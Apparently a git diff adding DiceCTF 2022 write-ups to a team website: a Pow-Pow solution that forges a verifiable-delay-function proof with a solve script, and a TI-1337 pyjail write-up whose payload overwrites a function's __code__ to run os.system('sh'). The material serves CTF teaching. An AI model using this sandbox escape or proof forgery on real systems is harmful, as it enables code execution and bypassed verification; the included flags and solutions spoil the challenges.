To then solve the congruence, we first generate a very smooth integer $M$ and set $g \equiv b^M \pmod n$. From this, we compute $m = H(g,1)$. If $M \equiv 0 \pmod m$ we break the loop, compute $r$ from $m$, then $B(M,r,m)$. Finally setting $\pi \equiv b^B \pmod n$ for our solution $(g,h,\pi)$. If the congruence doesn’t hold, we square $g \equiv g^2 \pmod n$ and double $M = 2M$ for bookkeeping, and try again.

+ +

Sending our specially crafted $(g,h,\pi) = (g,1,\pi)$ to the server, we get the flag.

+ +

Implementation

+ +

Note: We use gmpy2 to speed up all the modular maths we need to do, but you can do this using python’s int type and solve in a reasonable amount of time.

+ +
from gmpy2 import mpz, is_prime
+from hashlib import shake_128
+
+##################
+# Challenge Data #
+##################
+
+n = mpz(20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591)
+T = mpz(2**64)
+
+def is_valid(x):
+    return type(x) == int and 0 < x < n
+
+def encode(x):
+    if type(x) == int:
+        return x.to_bytes(256, 'big')
+    else:
+        return int(x).to_bytes(256, 'big')
+
+def H(g, h):
+    return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big')
+
+def verify(g, h, pi):
+    assert is_valid(g)
+    assert is_valid(h)
+    assert is_valid(pi)
+    assert g != 1 and g != n - 1
+    m = H(g, h)
+    r = pow(2, T, m)
+    # change assert to return bool for testing
+    return h == pow(pi, m, n) * pow(g, r, n) % n
+
+##################
+#    Solution    #
+##################
+
+def gen_smooth(upper_bound):
+    M = mpz(1)
+    for i in range(1, upper_bound):
+        if is_prime(i):
+            M *= i
+    return M
+
+def gen_solution(M):
+    # We pick a generator b = 2
+    g = pow(2, M, n)
+    h = 1
+    while True:
+        m = mpz(H(g, h))
+        if M % m == 0:
+            r = pow(2, T, m)
+            B = -r*M // m
+            pi = pow(2, B, n)
+            return int(g), int(h), int(pi) 
+        M = M << 1
+        g = pow(g,2,n)
+
+print(f"Generating smooth value M")
+M = gen_smooth(10**6)
+
+print(f"Searching for valid m")
+g, h, pi = gen_solution(M)
+
+assert verify(g, h, pi)
+print(f"g  = {hex(g)}")
+print(f"h  = {hex(h)}")
+print(f"pi = {hex(pi)}")
+
+ +

Flag

+ +

dice{the_m1n1gun_4nd_f1shb0nes_the_r0ck3t_launch3r}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/dicectf-2022/crypto/powpow.md b/dicectf-2022/crypto/powpow.md new file mode 100755 index 0000000..ff8b445 --- /dev/null +++ b/dicectf-2022/crypto/powpow.md @@ -0,0 +1,245 @@ +# Pow-Pow + +**Authors:** Jack + +**Tags:** crypto, VDF + +**Points:** 299 (13 solves) + +**Challenge Author:** defund + +**Description:** + +> It's a free flag, all you have to do is wait! Verifiably. +> +> `nc mc.ax 31337` + +## Challenge + +```python +#!/usr/local/bin/python + +from hashlib import shake_128 + +# from Crypto.Util.number import getPrime +# p = getPrime(1024) +# q = getPrime(1024) +# n = p*q +n = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591 +T = 2**64 + +def is_valid(x): + return type(x) == int and 0 < x < n + +def encode(x): + return x.to_bytes(256, 'big') + +def H(g, h): + return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') + +def prove(g): + h = g + for _ in range(T): + h = pow(h, 2, n) + m = H(g, h) + r = 1 + pi = 1 + for _ in range(T): + b, r = divmod(2*r, m) + pi = pow(pi, 2, n) * pow(g, b, n) % n + return h, pi + +def verify(g, h, pi): + assert is_valid(g) + assert is_valid(h) + assert is_valid(pi) + assert g != 1 and g != n - 1 + m = H(g, h) + r = pow(2, T, m) + assert h == pow(pi, m, n) * pow(g, r, n) % n + +if __name__ == '__main__': + g = int(input('g: ')) + h = int(input('h: ')) + pi = int(input('pi: ')) + verify(g, h, pi) + with open('flag.txt') as f: + print(f.read().strip()) +``` + +## Solution + +The challenge presents us with a verifiable delay function (VDF), which (if correctly implemented) requires us to compute + +$$ +h \equiv g^{2^T} \pmod n. +$$ + +This requires us to perform $T = 2^{64}$ squares of $g \pmod n$, which is totally infeasible for a weekend CTF! If we could factor $n$, we could first compute $a \equiv 2^T \pmod{\phi(n)}$, but as the challenge is set up, it's obvious we can't factor the 2048 bit modulus. + +Another option would be to pick a generator $g$ of low order, for the RSA group $\mathcal{G} = (\mathbb{Z}/n\mathbb{Z})^*$, two easy options are $g=1$ or $g=-1$. However, looking at `verify(g,h,pi)`, we see that these elements are explicitly excluded from being considered + +```python +def is_valid(x): + return type(x) == int and 0 < x < n + +def verify(g, h, pi): + assert is_valid(g) + assert is_valid(h) + assert is_valid(pi) + assert g != 1 and g != n - 1 + m = H(g, h) + r = pow(2, T, m) + assert h == pow(pi, m, n) * pow(g, r, n) % n +``` + + First `is_valid(x)` ensures that $g,h,\pi \in \mathcal{G}$ and then the additional check `assert g != 1 and g != n - 1` ensures that $g$ has unknown order. + +So if we can't run `prove(g)` in a reasonable amount of time, and we can't cheat the VDF by factoring, or selecting an element of known order, then there must be something within `verify` we can cheat. + +First, let's look at what appears in `verify(g,h,pi)` and what we have control over. + +We choose as input any $g,h,\pi \in \mathcal{G}$ and from $g,h$ `shake128` is used as a pseudorandom function to generate $m$. Finally, from $m$ we find $r \equiv 2^T \pmod m$. + +To pass the test in verify, naively we need to send integers from the output of `h, pi = prove(g)` such that the following congruence holds: + +$$ +h \equiv g^r \cdot \pi^m \pmod n. +$$ + +Although this congruence assumes the input $(g,h,\pi)$ have the relationship established by `prove(g)`, what if we instead view this as a general congruence? Let's try by assuming all variables can be expressed as a power of a generator $b$ and attempt to forget about `prove(g)` altogether! For our implementation, we make the choice $b = 2$, but this is arbitary. + +$$ +g \equiv b^M \pmod n, \quad h \equiv b^A \pmod n, \quad \pi \equiv b^B \pmod n. +$$ + +From this point of view, we need to try and find integers $(M,A,B)$ such that + +$$ +b^A \equiv b^{rM} \cdot b^{mB} \pmod n \Leftarrow A = rM + mB +$$ + +The integers $(m,r)$ are generated from + +```python +def H(g, h): + return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') + +# We can pick these +M, A, B = ?, ?, ? +g = pow(2,M,n) +h = pow(2,A,n) +pi = pow(2,B,n) + +# Effectively random +m = H(g, h) +r = pow(2, T, m) +``` + +and we can effectively treat these integers as totally random. More importantly, the values are unknown until we make a choice for both $g,h$ (and therefore $M,A$). + +Our first simplification will be $A = 0 \Rightarrow h = 1$, which simplifies our equation and is a valid input for $h$. Now we need to pick $(M,B)$ such that + +$$ +0 = rM + mB, +$$ + +where we remember that the values of $(r,m)$ are only known after selecting $M$, but $B$ can be set afterwards. It then makes sense to rearrange the above equation into the form: + +$$ +B = -\frac{rM}{m} +$$ + +To find an integer solution $B$, we then need to find some $rM$ which is divisible by a random integer $m$. + +The VDF function which appears in the challenge is based off work by [Wesolowski](https://eprint.iacr.org/2018/623), reviewed in a paper by [Boneh, Bünz and Fisch](https://eprint.iacr.org/2018/712.pdf). There is a key difference though between the paper and the challenge. In Wesolowski's work, $m$ is prime, and finding a $M$ divisible by some large, random prime is computationally hard. The challenge becomes solvable because $m$ is totally random and so can be composite. + +To find an integer $M \equiv 0 \pmod m$, the best chance we have is to use some very smooth integer, such as $M = n!$, or $M = \prod_i^n p_i$ as the product of the first $n$ primes. In the challenge author's [write-up](https://priv.pub/posts/dicectf-2022), they pick + +$$ +M = 256! \prod_i^n p_i, +$$ + +where they consider all primes $p_i < 10^{20}$. Including $256!$ allows for repeated small factors in $m$. In our solution, we find it is enough to simply take the product of all primes below $10^6$. + +To then solve the congruence, we first generate a very smooth integer $M$ and set $g \equiv b^M \pmod n$. From this, we compute $m = H(g,1)$. If $M \equiv 0 \pmod m$ we break the loop, compute $r$ from $m$, then $B(M,r,m)$. Finally setting $\pi \equiv b^B \pmod n$ for our solution $(g,h,\pi)$. If the congruence doesn't hold, we square $g \equiv g^2 \pmod n$ and double $M = 2M$ for bookkeeping, and try again. + +Sending our specially crafted $(g,h,\pi) = (g,1,\pi)$ to the server, we get the flag. + +## Implementation + +**Note:** We use `gmpy2` to speed up all the modular maths we need to do, but you can do this using python's `int` type and solve in a reasonable amount of time. + +```python +from gmpy2 import mpz, is_prime +from hashlib import shake_128 + +################## +# Challenge Data # +################## + +n = mpz(20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591) +T = mpz(2**64) + +def is_valid(x): + return type(x) == int and 0 < x < n + +def encode(x): + if type(x) == int: + return x.to_bytes(256, 'big') + else: + return int(x).to_bytes(256, 'big') + +def H(g, h): + return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') + +def verify(g, h, pi): + assert is_valid(g) + assert is_valid(h) + assert is_valid(pi) + assert g != 1 and g != n - 1 + m = H(g, h) + r = pow(2, T, m) + # change assert to return bool for testing + return h == pow(pi, m, n) * pow(g, r, n) % n + +################## +# Solution # +################## + +def gen_smooth(upper_bound): + M = mpz(1) + for i in range(1, upper_bound): + if is_prime(i): + M *= i + return M + +def gen_solution(M): + # We pick a generator b = 2 + g = pow(2, M, n) + h = 1 + while True: + m = mpz(H(g, h)) + if M % m == 0: + r = pow(2, T, m) + B = -r*M // m + pi = pow(2, B, n) + return int(g), int(h), int(pi) + M = M << 1 + g = pow(g,2,n) + +print(f"Generating smooth value M") +M = gen_smooth(10**6) + +print(f"Searching for valid m") +g, h, pi = gen_solution(M) + +assert verify(g, h, pi) +print(f"g = {hex(g)}") +print(f"h = {hex(h)}") +print(f"pi = {hex(pi)}") +``` + +## Flag + +`dice{the_m1n1gun_4nd_f1shb0nes_the_r0ck3t_launch3r}` diff --git a/dicectf-2022/crypto/powpow.py b/dicectf-2022/crypto/powpow.py new file mode 100755 index 0000000..3d6c696 --- /dev/null +++ b/dicectf-2022/crypto/powpow.py @@ -0,0 +1,48 @@ +#!/usr/local/bin/python + +from hashlib import shake_128 + +# from Crypto.Util.number import getPrime +# p = getPrime(1024) +# q = getPrime(1024) +# n = p*q +n = 20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591 +T = 2**64 + +def is_valid(x): + return type(x) == int and 0 < x < n + +def encode(x): + return x.to_bytes(256, 'big') + +def H(g, h): + return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') + +def prove(g): + h = g + for _ in range(T): + h = pow(h, 2, n) + m = H(g, h) + r = 1 + pi = 1 + for _ in range(T): + b, r = divmod(2*r, m) + pi = pow(pi, 2, n) * pow(g, b, n) % n + return h, pi + +def verify(g, h, pi): + assert is_valid(g) + assert is_valid(h) + assert is_valid(pi) + assert g != 1 and g != n - 1 + m = H(g, h) + r = pow(2, T, m) + assert h == pow(pi, m, n) * pow(g, r, n) % n + +if __name__ == '__main__': + g = int(input('g: ')) + h = int(input('h: ')) + pi = int(input('pi: ')) + verify(g, h, pi) + with open('flag.txt') as f: + print(f.read().strip()) diff --git a/dicectf-2022/crypto/powpow_solve.py b/dicectf-2022/crypto/powpow_solve.py new file mode 100755 index 0000000..068c4ad --- /dev/null +++ b/dicectf-2022/crypto/powpow_solve.py @@ -0,0 +1,59 @@ +from gmpy2 import mpz, is_prime, to_binary +from hashlib import shake_128 + +n = mpz(20074101780713298951367849314432888633773623313581383958340657712957528608477224442447399304097982275265964617977606201420081032385652568115725040380313222774171370125703969133604447919703501504195888334206768326954381888791131225892711285554500110819805341162853758749175453772245517325336595415720377917329666450107985559621304660076416581922028713790707525012913070125689846995284918584915707916379799155552809425539923382805068274756229445925422423454529793137902298882217687068140134176878260114155151600296131482555007946797335161587991634886136340126626884686247248183040026945030563390945544619566286476584591) +T = mpz(2**64) + +def is_valid(x): + return type(x) == int and 0 < x < n + +def encode(x): + if type(x) == int: + return x.to_bytes(256, 'big') + else: + return int(x).to_bytes(256, 'big') + +def H(g, h): + return int.from_bytes(shake_128(encode(g) + encode(h)).digest(16), 'big') + +def verify(g, h, pi): + assert is_valid(g) + assert is_valid(h) + assert is_valid(pi) + assert g != 1 and g != n - 1 + m = H(g, h) + r = pow(2, T, m) + # change assert to return bool for testing + return h == pow(pi, m, n) * pow(g, r, n) % n + +def gen_smooth(upper_bound): + M = mpz(1) + for i in range(1, upper_bound): + if is_prime(i): + M *= i + return M + +def gen_solution(M): + g = pow(2, M, n) + h = 1 + for i in range(10**6): + m = mpz(H(g, h)) + if M % m == 0: + r = pow(2, T, m) + k = -r*M // m + pi = pow(2, k, n) + return int(g), int(h), int(pi) + M = M << 1 + g = pow(g,2,n) + +print(f"Generating smooth value M") +M = gen_smooth(10**6) + +print(f"Searching for valid m") +g, h, pi = gen_solution(M) + +print(f"g = {hex(g)}") +print(f"h = {hex(h)}") +print(f"pi = {hex(pi)}") + +assert verify(g, h, pi) diff --git a/dicectf-2022/index.html b/dicectf-2022/index.html new file mode 100755 index 0000000..752d7ba --- /dev/null +++ b/dicectf-2022/index.html @@ -0,0 +1,228 @@ + + + + + +Dice CTF 2022 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Dice CTF 2022

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengeCategory
typedrev, rust
Pow PowCrypto, VDF
Commitment IssuesCrypto
TI-1337 Silver EditionMisc, pyjail
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/dicectf-2022/index.md b/dicectf-2022/index.md new file mode 100755 index 0000000..cf0c334 --- /dev/null +++ b/dicectf-2022/index.md @@ -0,0 +1,9 @@ +# Dice CTF 2022 + +| Challenge | Category | +|--------------------------------------------------------------|--------------| +| [typed](./rev/typed) | rev, rust | +| [Pow Pow](./crypto/powpow) | Crypto, VDF | +| [Commitment Issues](./crypto/commitment_issues) | Crypto | +| [TI-1337 Silver Edition](./misc/ti1337) | Misc, pyjail | + diff --git a/dicectf-2022/misc/ti1337.html b/dicectf-2022/misc/ti1337.html new file mode 100755 index 0000000..c8e65c2 --- /dev/null +++ b/dicectf-2022/misc/ti1337.html @@ -0,0 +1,425 @@ + + + + + +TI-1337 Silver Edition | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

TI-1337 Silver Edition

+ +

Authors: Robin_Jadoul

+ +

Tags: misc, pyjail

+ +

Points: 299 (13 solves)

+ +

Challenge Author: kmh

+ +

Description: +Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it?

+ +
#!/usr/bin/env python3
+import dis
+import sys
+
+banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]
+
+used_gift = False
+
+def gift(target, name, value):
+	global used_gift
+	if used_gift: sys.exit(1)
+	used_gift = True
+	setattr(target, name, value)
+
+print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")
+
+math = input("> ")
+if len(math) > 1337:
+	print("Nobody needs that much math!")
+	sys.exit(1)
+code = compile(math, "<math>", "exec")
+
+bytecode = list(code.co_code)
+instructions = list(dis.get_instructions(code))
+for i, inst in enumerate(instructions):
+	if inst.is_jump_target:
+		print("Math doesn't need control flow!")
+		sys.exit(1)
+	nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
+	if inst.opname in banned:
+		bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)
+
+names = list(code.co_names)
+for i, name in enumerate(code.co_names):
+	if "__" in name: names[i] = "$INVALID$"
+
+code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
+v = {}
+exec(code, {"__builtins__": {"gift": gift}}, v)
+if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
+else: print("No results stored.")
+
+ +

A high horse level overview

+ +

Let’s have a look at the restrictions on our payload:

+ +
    +
  • We can perform a single call to the function gift which simply delegates to setattr
  • +
  • length < 1337, that seems fairly generous
  • +
  • No control flow, at all, if dis thinks we’re jumping somewhere, it kills us
  • +
  • No making any functions or calling them; observe that the instruction is stripped, rather than the entire payload being killed
  • +
  • Anything that smells like a dunder method is renamed to be $INVALID$ instead
  • +
  • No builtins, only the gift
  • +
  • Whatever we assign to will be printed upon exit
  • +
+ +

Looking a gift horse function into the mouth

+ +

One of the very first observations we can make: we have a function we can call, except… we shouldn’t be able to call any functions at all. +Curious.

+ +

Let’s have a scroll through (the documentation for1) the most useful resource for this challenge: the dis module. +Maybe we can even perform a search for CALL. +And behold, there appears an instruction that isn’t blocked, but that appears useful: CALL_METHOD.

+ +
+

This opcode is designed to be used with LOAD_METHOD

+
+ +

So then how can we get LOAD_METHOD to be executed? +A method is loaded when we try to call something that looks like a method: a dotted name. +So if we can get a call to something like x.y(), that should give us a function call we so sorely need. +If only we had something to assign attributes too… +Oh, we have gift, you say? +Indeed, simply assigning to gift.gift = gift allows us to call gift.gift(target, name, value).

+ +

With that out of the way, let’s see what we can try to setattr.

+ +

Swapping horses code midstream

+ +

Given that we have no access to special methods and variables at all currently, it would make sense to target one of those with our one call to setattr. +We could try to overwrite gift.__globals__ in order to get more calls to gift, but unfortunately, that’s a readonly attribute.

+ +

Looking through every attribute that’s available on this so-called gift, we notice that gift.__builtins__ refers to the original builtins. +If we could somehow hijack control of gift’s execution, or access that attribute; we could gain back control and quickly escalate to shell. +The question remains, how can we achieve that.

+ +

And that question is answered only a few entries later in dir(gift): gift.__code__ is writable. +If we could somehow construct and a handle to a code object that does what we tell it to do, we could have it run with access to the real builtins, and stand triumphant with this dead calculator at our feet.

+ +

My kingdom for a horse code object

+ +

How does one generally go about creating code objects? +Obviously there’s the constructor, but given that we can’t get access to that type to call it, that’s out of the question. +Code objects, interestingly also get created when we try to make a function.

+ +

Now you might start interrupting and say something like “but we can’t make functions, and even if we could, we can’t access a function’s __code__, which is of course very true, but also entirely besides the question. +All we need is the code object on the execution stack.

+ +

Let’s have a look at what instructions get executed when we try to create a function:

+ +
>>> import dis
+>>> dis.dis(compile("""def x(): pass""", "", "exec"))
+  1           0 LOAD_CONST               0 (<code object x at 0x7fb5838856e0, file "", line 1>)
+              2 LOAD_CONST               1 ('x')
+              4 MAKE_FUNCTION            0
+              6 STORE_NAME               0 (x)
+              8 LOAD_CONST               2 (None)
+             10 RETURN_VALUE
+
+Disassembly of <code object x at 0x7fb5838856e0, file "", line 1>:
+  1           0 LOAD_CONST               0 (None)
+              2 RETURN_VALUE
+
+ +

Now just imagine that MAKE_FUNCTION gone, and we’re left with an interesting value on the stack. +Similarly, when we try to do this with a lambda:

+ +
>>> dis.dis(compile("""x = lambda: 0""", "", "exec"))
+  1           0 LOAD_CONST               0 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
+              2 LOAD_CONST               1 ('<lambda>')
+              4 MAKE_FUNCTION            0
+              6 STORE_NAME               0 (x)
+              8 LOAD_CONST               2 (None)
+             10 RETURN_VALUE
+
+Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
+  1           0 LOAD_CONST               1 (0)
+              2 RETURN_VALUE
+
+ +

Imagine the MAKE_FUNCTION gone again, and we’d almost even directly assign this code object to a variable we could reference. +Only that pesky name is in the way, grrrr.

+ +

Now it comes to massaging the stack a bit and actually getting our hands on the code object. +The intended solution here becomes fairly tricky and combines EXTENDED_ARG (used for the number of arguments to a function) with BUILD_MAP to read past the stack, but we shall take a simpler route here.

+ +

After experimenting with tuple unpacking,2 we observe that the following code is fairly interesting:

+ +
>>> dis.dis(compile("""x = (y, z)""", "", "exec"))
+  1           0 LOAD_NAME                0 (y)
+              2 LOAD_NAME                1 (z)
+              4 BUILD_TUPLE              2
+              6 STORE_NAME               2 (x)
+              8 LOAD_CONST               0 (None)
+             10 RETURN_VALUE
+
+ +

More specifically, BUILD_TUPLE(2) takes the topmost 2 elements from the stack, and puts them into a tuple. +If we now would happen to have not z, but "<lambda>" and a code object on the stack, poor y would get ignored, and we’d get a way more interesting tuple instead:

+ +
>>> dis.dis(compile("""x = (0, lambda: None)""", "", "exec"))
+  1           0 LOAD_CONST               0 (0)
+              2 LOAD_CONST               1 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
+              4 LOAD_CONST               2 ('<lambda>')
+              6 MAKE_FUNCTION            0
+              8 BUILD_TUPLE              2
+             10 STORE_NAME               0 (x)
+             12 LOAD_CONST               3 (None)
+             14 RETURN_VALUE
+
+Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
+  1           0 LOAD_CONST               0 (None)
+              2 RETURN_VALUE
+
+ +

Simply access this tuple at index 0, and we have reached our destination.

+ +

Flagging a dead horse

+ +

It’s only a matter of putting everything together from here on out. +We want to:

+ +
    +
  • Create a code object that gives us a shell
  • +
  • Assign it to gift.__code__ by calling gift
  • +
  • Call the all new and improved gift again to get our sweet shell
  • +
+ +

So, let’s do exactly that.

+ +
# step 1
+c = (0, lambda: __import__('os').system('sh'))[0]
+
+# step 2
+gift.x = gift
+gift.x(gift, "__code__", c)
+
+# step 3
+gift.x()
+
+ +

One more interesting fact here is that we can use the __import__ name without problem, since the code object is a constant, and not strictly part of the instructions/names of the code object being cleaned by the jail.

+ +
+

dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}

+
+ +

I generally like pyjail escapes, and this one was definitely no exception. +It probably was one of the most fun ones I’ve done in a while, so thanks for that, kmh :)

+ +
+
+
    +
  1. +

    It’s really hard to decide what’s more the MVP here, the dis module, or its documentation that contains an overview of all these juicy instructions. 

    +
  2. +
  3. +

    And completely missing the fact that python optimizes out the tuple packing and unpacking if we have 2 items on both sides of the =. Rather than packing, unpacking and crashing because the number of elements isn’t right, x,y = 0, lambda: None simply gets compiled to a few LOADs, a ROT and two STOREs. An even quicker solution than what we end up doing next. 

    +
  4. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/dicectf-2022/misc/ti1337.md b/dicectf-2022/misc/ti1337.md new file mode 100755 index 0000000..4c68a29 --- /dev/null +++ b/dicectf-2022/misc/ti1337.md @@ -0,0 +1,216 @@ +# TI-1337 Silver Edition + +**Authors:** Robin_Jadoul + +**Tags:** misc, pyjail + +**Points:** 299 (13 solves) + +**Challenge Author:** kmh + +**Description:** +Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it? + +```python +#!/usr/bin/env python3 +import dis +import sys + +banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"] + +used_gift = False + +def gift(target, name, value): + global used_gift + if used_gift: sys.exit(1) + used_gift = True + setattr(target, name, value) + +print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:") + +math = input("> ") +if len(math) > 1337: + print("Nobody needs that much math!") + sys.exit(1) +code = compile(math, "", "exec") + +bytecode = list(code.co_code) +instructions = list(dis.get_instructions(code)) +for i, inst in enumerate(instructions): + if inst.is_jump_target: + print("Math doesn't need control flow!") + sys.exit(1) + nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode) + if inst.opname in banned: + bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset) + +names = list(code.co_names) +for i, name in enumerate(code.co_names): + if "__" in name: names[i] = "$INVALID$" + +code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20) +v = {} +exec(code, {"__builtins__": {"gift": gift}}, v) +if v: print("\n".join(f"{name} = {val}" for name, val in v.items())) +else: print("No results stored.") +``` + +## A high ~~horse~~ level overview + +Let's have a look at the restrictions on our payload: + +- We can perform a single call to the function `gift` which simply delegates to `setattr` +- length < 1337, that seems fairly generous +- No control flow, at all, if `dis` thinks we're jumping somewhere, it kills us +- No making any functions or calling them; observe that the instruction is stripped, rather than the entire payload being killed +- Anything that smells like a *dunder* method is renamed to be `$INVALID$` instead +- No builtins, only the gift +- Whatever we assign to will be printed upon exit + +## Looking a `gift` ~~horse~~ function into the mouth + +One of the very first observations we can make: we have a function we can call, except... we shouldn't be able to call any functions at all. +Curious. + +Let's have a scroll through (the documentation for[^docs]) the most useful resource for this challenge: [the `dis` module](https://docs.python.org/3.9/library/dis.html). +Maybe we can even perform a search for `CALL`. +And behold, there appears an instruction that isn't blocked, but that appears useful: `CALL_METHOD`. + +> This opcode is designed to be used with `LOAD_METHOD` + +So then how can we get `LOAD_METHOD` to be executed? +A method is loaded when we try to call something that looks like a method: a *dotted* name. +So if we can get a call to something like `x.y()`, that should give us a function call we so sorely need. +If only we had something to assign attributes too... +Oh, we have `gift`, you say? +Indeed, simply assigning to `gift.gift = gift` allows us to call `gift.gift(target, name, value)`. + +With that out of the way, let's see what we can try to `setattr`. + +## Swapping ~~horses~~ code midstream + +Given that we have no access to special methods and variables at all currently, it would make sense to target one of those with our one call to `setattr`. +We could try to overwrite `gift.__globals__` in order to get more calls to `gift`, but unfortunately, that's a readonly attribute. + +Looking through every attribute that's available on this so-called gift, we notice that `gift.__builtins__` refers to the original builtins. +If we could somehow hijack control of gift's execution, or access that attribute; we could gain back control and quickly escalate to shell. +The question remains, how can we achieve that. + +And that question is answered only a few entries later in `dir(gift)`: `gift.__code__` is writable. +If we could somehow construct and a handle to a code object that does what we tell it to do, we could have it run with access to the real builtins, and stand triumphant with this dead calculator at our feet. + +## My kingdom for a ~~horse~~ code object + +How does one generally go about creating code objects? +Obviously there's the constructor, but given that we can't get access to that type to call it, that's out of the question. +Code objects, interestingly also get created when we try to make a function. + +Now you might start interrupting and say something like *"but we can't make functions, and even if we could, we can't access a function's `__code__`"*, which is of course very true, but also entirely besides the question. +All we need is the code object on the execution stack. + +Let's have a look at what instructions get executed when we try to create a function: + +``` +>>> import dis +>>> dis.dis(compile("""def x(): pass""", "", "exec")) + 1 0 LOAD_CONST 0 () + 2 LOAD_CONST 1 ('x') + 4 MAKE_FUNCTION 0 + 6 STORE_NAME 0 (x) + 8 LOAD_CONST 2 (None) + 10 RETURN_VALUE + +Disassembly of : + 1 0 LOAD_CONST 0 (None) + 2 RETURN_VALUE +``` + +Now just imagine that `MAKE_FUNCTION` gone, and we're left with an interesting value on the stack. +Similarly, when we try to do this with a lambda: + +``` +>>> dis.dis(compile("""x = lambda: 0""", "", "exec")) + 1 0 LOAD_CONST 0 ( at 0x7fb5838858f0, file "", line 1>) + 2 LOAD_CONST 1 ('') + 4 MAKE_FUNCTION 0 + 6 STORE_NAME 0 (x) + 8 LOAD_CONST 2 (None) + 10 RETURN_VALUE + +Disassembly of at 0x7fb5838858f0, file "", line 1>: + 1 0 LOAD_CONST 1 (0) + 2 RETURN_VALUE +``` + +Imagine the `MAKE_FUNCTION` gone again, and we'd almost even directly assign this code object to a variable we could reference. +Only that pesky name is in the way, grrrr. + +Now it comes to massaging the stack a bit and actually getting our hands on the code object. +The intended solution here becomes fairly tricky and combines `EXTENDED_ARG` (used for the number of arguments to a function) with `BUILD_MAP` to read past the stack, but we shall take a simpler route here. + +After experimenting with tuple unpacking,[^tuples] we observe that the following code is fairly interesting: + +``` +>>> dis.dis(compile("""x = (y, z)""", "", "exec")) + 1 0 LOAD_NAME 0 (y) + 2 LOAD_NAME 1 (z) + 4 BUILD_TUPLE 2 + 6 STORE_NAME 2 (x) + 8 LOAD_CONST 0 (None) + 10 RETURN_VALUE +``` + +More specifically, `BUILD_TUPLE(2)` takes the topmost 2 elements from the stack, and puts them into a tuple. +If we now would happen to have not `z`, but `""` and a code object on the stack, poor `y` would get ignored, and we'd get a way more interesting tuple instead: + +``` +>>> dis.dis(compile("""x = (0, lambda: None)""", "", "exec")) + 1 0 LOAD_CONST 0 (0) + 2 LOAD_CONST 1 ( at 0x7fb5838858f0, file "", line 1>) + 4 LOAD_CONST 2 ('') + 6 MAKE_FUNCTION 0 + 8 BUILD_TUPLE 2 + 10 STORE_NAME 0 (x) + 12 LOAD_CONST 3 (None) + 14 RETURN_VALUE + +Disassembly of at 0x7fb5838858f0, file "", line 1>: + 1 0 LOAD_CONST 0 (None) + 2 RETURN_VALUE +``` + +Simply access this tuple at index 0, and we have reached our destination. + +## Flagging a dead horse + +It's only a matter of putting everything together from here on out. +We want to: + +- Create a code object that gives us a shell +- Assign it to `gift.__code__` by calling `gift` +- Call the all new and improved `gift` again to get our sweet shell + +So, let's do exactly that. + +```python +# step 1 +c = (0, lambda: __import__('os').system('sh'))[0] + +# step 2 +gift.x = gift +gift.x(gift, "__code__", c) + +# step 3 +gift.x() +``` + +One more interesting fact here is that we can use the `__import__` name without problem, since the code object is a constant, and not strictly part of the instructions/names of the code object being cleaned by the jail. + +> 